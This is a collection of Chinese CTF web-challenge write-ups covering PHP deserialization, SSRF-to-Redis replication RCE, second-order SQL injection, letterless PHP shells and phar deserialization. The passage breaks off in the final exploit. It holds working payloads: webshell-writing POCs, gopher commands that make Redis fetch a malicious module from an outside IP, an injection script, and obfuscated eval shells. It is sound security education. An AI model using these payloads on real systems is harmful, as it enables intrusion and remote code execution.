经典题目复现

[天翼杯 2021]esay_eval

考点PHP反序列化Redis主从复制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);

}
function __wakeup(){
$this->code = "";
}
}

class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}


}else{
highlight_file(__FILE__);
}

分析之后,我们有这样的思路:创建一个B类$b,然后b中有一个名为a的方法,而a是A类。当反序列化时,会执行B类的__destruct函数,执行echo $this->a->a();,因为A类不存在a方法,所以会执行__call()函数,从而执行eval()函数

现在题中还有两个阻碍,一个类A中的__wakeup方法会将code的值置空,程序调用反序列化方法时,会自动执行__weakup()函数,利用php特性当序列化后对象的参数列表中成员个数和实际个数不符合时会绕过 __weakup();,第二个阻碍对传入参数作正则匹配,,匹配A类和B类名字后面的数目,要求必须为1,而我们要绕过wakeup需要大于1,这里利用php对类名大小写不敏感的特性去绕过

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class a{
public $code = "phpinfo();";
function __call($method,$args){
eval($this->code);

}
function __wakeup(){
$this->code = "";
}
}

class b{
function __destruct(){
echo $this->a->a();
}
}

$b = new b();
$b->a = new a();
echo serialize($b);

# O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

将b后成员列表个数修改后可得payload?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

160391bdfe7f5018aa7ae7ccf585cd6a

执行成功,发现disable_functions有过滤,无法直接RCE,利用fputs写入一句话木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class a{
public $code = "fputs(fopen('dotast.php','w'),base64_decode(\"PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ
10pOw==\"));";
function __call($method,$args){
eval($this->code);

}
function __wakeup(){
$this->code = "";
}
}

class b{
function __destruct(){
echo $this->a->a();
}
}

$b = new b();
$b->a = new a();
echo serialize($b);

# <?php @eval($_POST['pass']);
# O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:90:"fputs(fopen('dotast.php','w'),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOw=="));";}}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class A{
public $code = "eval(\$_POST[1]);";

}

class B{
public $a;
function __construct()
{
$this -> a=new A();
}
}
$c = new B();
$poc = serialize($c);
$payload = str_replace('A":1','a":2',$poc);
echo '?poc='.$payload;
# ?poc=O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[1]);";}}

蚁剑连接,发现.swp文件为vim泄露,将其下载后改为.config.php.swp后恢复即可

343107e0c583fc38a9459f7e69eca23e

无文件读取权限但又上传权限,在/var/www/html目录上传exp.so文件利用Redis主从复制漏洞RCE

MODULE LOAD /var/www/html/exp.so

system.exec "cat /f*"

其他姿势:发现disable_functions后可用蚁剑插件打穿

ee689f755b6726608ce3f59904918058

[网鼎杯 2020 玄武组]SSRFMe

参考WP

考点SSRFRedis主从复制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}

}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

存在一个curl的ssrf,但是存在check_inner_ip的限制

check_inner_ip做了几件事:限制协议只能为http,https,gopher,dict、使用parse_url获取host、使用 gethostbyname获取ip地址(防御了xip.io这类利用dns解析的绕过方法)、使用ip2long将ip地址转为整数,判断是否为内网网段(防御了127.0.0.1/8)

另外在发送请求后还对重定向的情况做了处理,获取请求信息,检查是否有重定向 URL。如果有,递归调用 safe_request_url 以处理重定向。

1
2
3
4
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}

这样基于跳转的方法也无法使用了

一些SSRF绕过技巧

这里给出两种姿势http://0.0.0.0/hint.phphttp://[0:0:0:0:0:ffff:127.0.0.1]/hint.php

hint.php

1
2
3
4
5
6
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
} "

绕过写shell没有权限,不过给了Redis的密码root,可以打主从复制RCE

准备过程:将redis-rogue-server的exp.so文件复制到Awsome-Redis-Rogue-Server中,使用Awsome-Redis-Rogue-Server工具开启主服务,并且恶意so文件指定为exp.so,因为exp.so里面有system模块

开启主服务python3 redis_rogue_server.py -v -path exp.so -lport 9000

然后就是gopher协议联动redies

1
2
3
4
5
6
7
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit

1
2
3
4
5
6
7
8
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%252039.106.249.221%25209000%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 39.106.249.221 9000
quit

1
2
3
4
5
6
gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
module load ./exp.so
quit
1
2
3
4
5
6
gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
system.exec "cat /flag"
quit

若靶机可出网也可采用反弹Shell方式

[网鼎杯 2018]unfinish

考点SQL二次注入

打开题目发现/login.php没有注入点,猜错或扫描可得到register.php,注册测试账号后自动跳转回登陆界面,登陆成功后<span class="user-name">test1</span> 用户名直接回显,猜测注册用户名处存在二次注入

用BP FUZZ一下发现过滤了,information_schema.tables%0a

绕过方法:mysql中,+只能当做运算符,字母部分会被截断,与数字部分相加

b8d8dfb709d277bd24afbf60e913de63

由此可以逐位获得库名的ascii值,但因为过滤了,,我们用from for代替,类似 substr(str from 1 for 10)(表示截取str字符串的从第1个开始的10个字符),得到数据库名为web,由于过滤了information_schema.tables,得不到表名,根据网上的WP,只能猜表名为flag,写脚本即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import logging
import re
from time import sleep

def search():
flag = ''
url = 'http://node4.anna.nssctf.cn:28710/' # 修改为靶机URL
url1 = url+'register.php'
url2 = url+'login.php'
for i in range(100):
sleep(0.3)
data1 = {"email" : "1234{}@123.com".format(i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password" : "123"}
data2 = {"email" : "1234{}@123.com".format(i), "password" : "123"}
r1 = requests.post(url1, data=data1)
r2 = requests.post(url2, data=data2)
res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r2.text)
res1 = re.search(r'\d+', res.group())
flag = flag+chr(int(res1.group()))
print(flag)
print("final:"+flag)

if __name__ == '__main__':
search()
# NSSCTF{515d99e2-bd44-4048-8797-26c9c5e57e45}

[TQLCTF 2022]simple_bypass

考点代码审计无数字字母RCE

RCE部分参考P牛的文章一些不包含数字和字母的webshell

题目打开正常注册,登录寻找利用点,查看源代码搜索php发现

1f67021bf1a49aea94ae792f1fcbcea4

利用../get_pic.php?image=img/haokangde.png获取图片内容,猜测有任意文件读取漏洞,尝试路径穿越读flag失败,我们尝试读取一下登录界面源码

/get_pic.php?image=index.php拿到index.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
$hash_user = md5($_POST['user']);
$hash_pass = 'zsf'.md5($_POST['pass']);
if(isset($_POST['punctuation'])){
//filter
if (strlen($_POST['user']) > 6){
echo("<script>alert('Username is too long!');</script>");
}
elseif(strlen($_POST['website']) > 25){
echo("<script>alert('Website is too long!');</script>");
}
elseif(strlen($_POST['punctuation']) > 1000){
echo("<script>alert('Punctuation is too long!');</script>");
}
else{
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
$template = file_get_contents('./template.html');
$content = str_replace("__USER__", $_POST['user'], $template);
$content = str_replace("__PASS__", $hash_pass, $content);
$content = str_replace("__WEBSITE__", $_POST['website'], $content);
$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
file_put_contents('sandbox/'.$hash_user.'.php', $content);
echo("<script>alert('Successed!');</script>");
}
else{
echo("<script>alert('Invalid chars in website!');</script>");
}
}
else{
echo("<script>alert('Invalid chars in username!');</script>");
}
}
}
else{
setcookie("user", $_POST['user'], time()+3600);
setcookie("pass", $hash_pass, time()+3600);
Header("Location:sandbox/$hash_user.php");
}
}
?>

通过审计不难发现,该功能只是将输入的信息替换并插入模板文件./template.html中,因此我们再读取该文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
		<?php
error_reporting(0);
$user = ((string)__USER__);
$pass = ((string)__PASS__);

if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
echo($_COOKIE['user']);
}
else{
die("<script>alert('Permission denied!');</script>");
}
?>
</li>
</ul>
<ul class="item">
<li><span class="sitting_btn"></span>系统设置</li>
<li><span class="help_btn"></span>使用指南 <b></b></li>
<li><span class="about_btn"></span>关于我们</li>
<li><span class="logout_btn"></span>退出系统</li>
</ul>
</div>
</div>
</div>
<a href="#" class="powered_by">__PUNC__</a>
<ul id="deskIcon">
<li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/></span>
<div class="text">图片
<div class="right_cron"></div>
</div>
</li>
<li class="desktop_icon" id="win6" path="http://www.4399.com/"> <span class="icon"><img src="../img/icon5.png"/></span>
<div class="text">游戏
<div class="right_cron"></div>
</div>
</li>
<li class="desktop_icon" id="win10" path="../get_pic.php?image=img/haokangde.png"> <span class="icon"><img src="../img/icon4.png"/></span>
<div class="text"><b>好康的</b>
<div class="right_cron"></div>
</div>
</li>
<li class="desktop_icon" id="win16" path="__WEBSITE__"> <span class="icon"><img src="../img/icon10.png"/></span>
<div class="text"><b>你的网站</b>

这里$_POST['punctuation']的长度限制为1000,其他的都很短,说明可能要利用这个点,原本想的是在__PUNC__的地方替换为<script language=php>来执行php语句,但是php7后就不再支持这样弄了,这里只有上面有<?php,所以我们要利用上面的那个<?php标志来执行语句

回到index.php看一下过滤

1
2
3
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);

tips:不确定正则过滤后的可用可见字符时,可写脚本判断

1
2
3
4
5
6
7
8
9
10
<?php
//自增rce
$pass='';
for($i=32;$i<127;$i++){
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", chr($i))) {
$pass = $pass.chr($i);
}
}
echo "当前能过waf的字符:".$pass."\n";
#当前能过waf的字符: $()+,.0123456789;=[]_{}

其含义为user必须以指定符号开头,website相似,punctuation不能包含数字字母以及>?

由于index.php文件是对__USER__等字符串进行的替换,所以我们可以使用多行注释,将下面的内容都注释掉
然后在__PUNC__的地方进行闭合,这样就能继续利用上面的php标志来执行php语句了

1
2
3
4
5
6
# 示例
$a=((string)/*);
asdasd
asdasda
asdasdasd
asdasd8*/[]);echo '123';

由于过滤了数字字母以及>?,所以要使用无字母shell,利用自增和异或均可

1
2
3
$_=''.[];//获得字符串Array
$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
//ASSERT[$_POST[_]]

异或

1
2
$_='($((%-'^'[][\@@';$__='#:%('^'|}`|';$___='$'.$__;echo $___;$_($___['1']);
# system($_GET['1']);

源代码中$user = ((string)__USER__);(string)后面必须要有内容,否则会报错

用如下payload:$_POST['punctuation']=*/[]);$_=''.[];$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

报错是因为后面的html标签解析错误,用注释符/*注释掉即可,所以会爆warn(因为注释符没闭合),但是warn不会影响代码执行

1
2
3
4
5
6
7
8
USERNAME:
/*
PASSWORD:
(any)
YOURWEBSIT:
(any)
YOURPUNCTUATION:
*/[]);$_=''.[];$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);/*

POST: _=file_put_contents('shell.php','<?php eval($_POST[1]);?>');

蚁剑连接读取flag即可

[CISCN 2019华北Day1]Web1

考点phar反序列化

原理、影响函数及利用条件参考这篇

进入题目正常注册登录,随便上传一个文件,发现还有删除和下载两个功能点,利用下载读取源码

823a4c36deaf1457d5b50b9f3f8dc9d4

这里用绝对路径,也可以用相对路径../../index.php,之所以用两个../在知道源码的情况下是因为在执行download.php时会进入uploads/sandbox/文件夹

按照已发现的功能获取以下文件源码delete.php index.php register.php login.php upload.php class.php

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
//删除 ..和. 防止目录遍历
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

delete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");//只有网站目录和/etc /tmp可以操作

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

include "class.php";

if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}

$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}

if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>

register.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>
......(html css)
<?php
include "class.php";

if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && strlen($username) > 2 && strlen($password) > 1) {
if ($u->add_user($username, $password)) {
echo("<script>window.location.href='login.php?register';</script>");
die();
} else {
echo "<script>toast('此用户名已被使用', 'warning');</script>";
die();
}
}
echo "<script>toast('请输入有效用户名和密码', 'warning');</script>";
}
?>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
...(html css)
<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>

...(html css)
<?php
include "class.php";

if (isset($_GET['register'])) {
echo "<script>toast('注册成功', 'info');</script>";
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && $u->verify_user($username, $password)) {
$_SESSION['login'] = true;
$_SESSION['username'] = htmlentities($username);
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
$_SESSION['sandbox'] = $sandbox;
echo("<script>window.location.href='index.php';</script>");
die();
}
echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>

给了class.php基本上确定是一道反序列化问题,找入口点

User类中

1
2
3
4
5
6
7
8
class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}
}

这里的global是引进全局变量,而这个$dbclass.php里的变量

1
2
3
4
5
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

所以在User类的

1
2
3
public function __destruct() {
$this->db->close();
}

close()调用的是mysqli::close,但是在File类中也有个close()

1
2
3
public function close() {
return file_get_contents($this->filename);
}

看到这里意识到链子最终应该是close()进行文件内容的读取,而调用close()的地方只有一个,那就是User的__destruct()方法,控制$db为file对象即可,但此时我们读取文件内容但无法回显,再看FileList类有可疑的__call魔术方法

1
2
3
4
5
6
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

如果调用close()的话,就是先将方法名存储$this->funcs数组里
然后依次调用$this->files数组里的元素的close()方法,然后存储在$this->results[$file->name()][$func]
如果是File类的close(),就是获取文件的内容,所以$this->files数组里的元素必须为File类的对象

然后看FileList类的析构函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) { //遍历数组 $func为键 $value为对应的值
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}

正好析构函数的作用为输出$this->funcs里的元素的值,然后输出$this->results数组里的数组元素的键值对,而在__call()函数里我们存储的文件的内容就在$result as $func => $value$value

所以只要构造$this->files的值,就可以在最后面输出其文件的内容,这样就可以获得flag

故最终的调用链为User::__destruct() -> FileList::__Call() -> File::close() -> FileList::__destruct()

寻找触发点:可以出发phar反序列化的函数详细可见上方博客,在open()file_exists可以触发

1
2
3
4
5
6
7
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}

downloaddelete均可触发,但download中有限制

1
2
//只有网站目录和/etc /tmp可以操作
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

open_basedir 将php所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()file_get_contents()等系统函数打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开

如果设置为

ini_set(“open_basedir”,/var)

那么就是限制前缀,可以使用任意后缀 :/var1 /var/www /varsda/…/

如果是

ini_set(“open_basedir”,/var/)

那么就是限制了目录,只能使用此目录的文件: /var/www/

故利用delete.php触发反序列化即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class FileList
{
private $files;
private $results;
private $funcs;
public function __construct(){
$this->files=array();
$a=new File('/flag.txt');
array_push($this->files,$a);
}
}
class File {
public $filename;
public function __construct($filename){
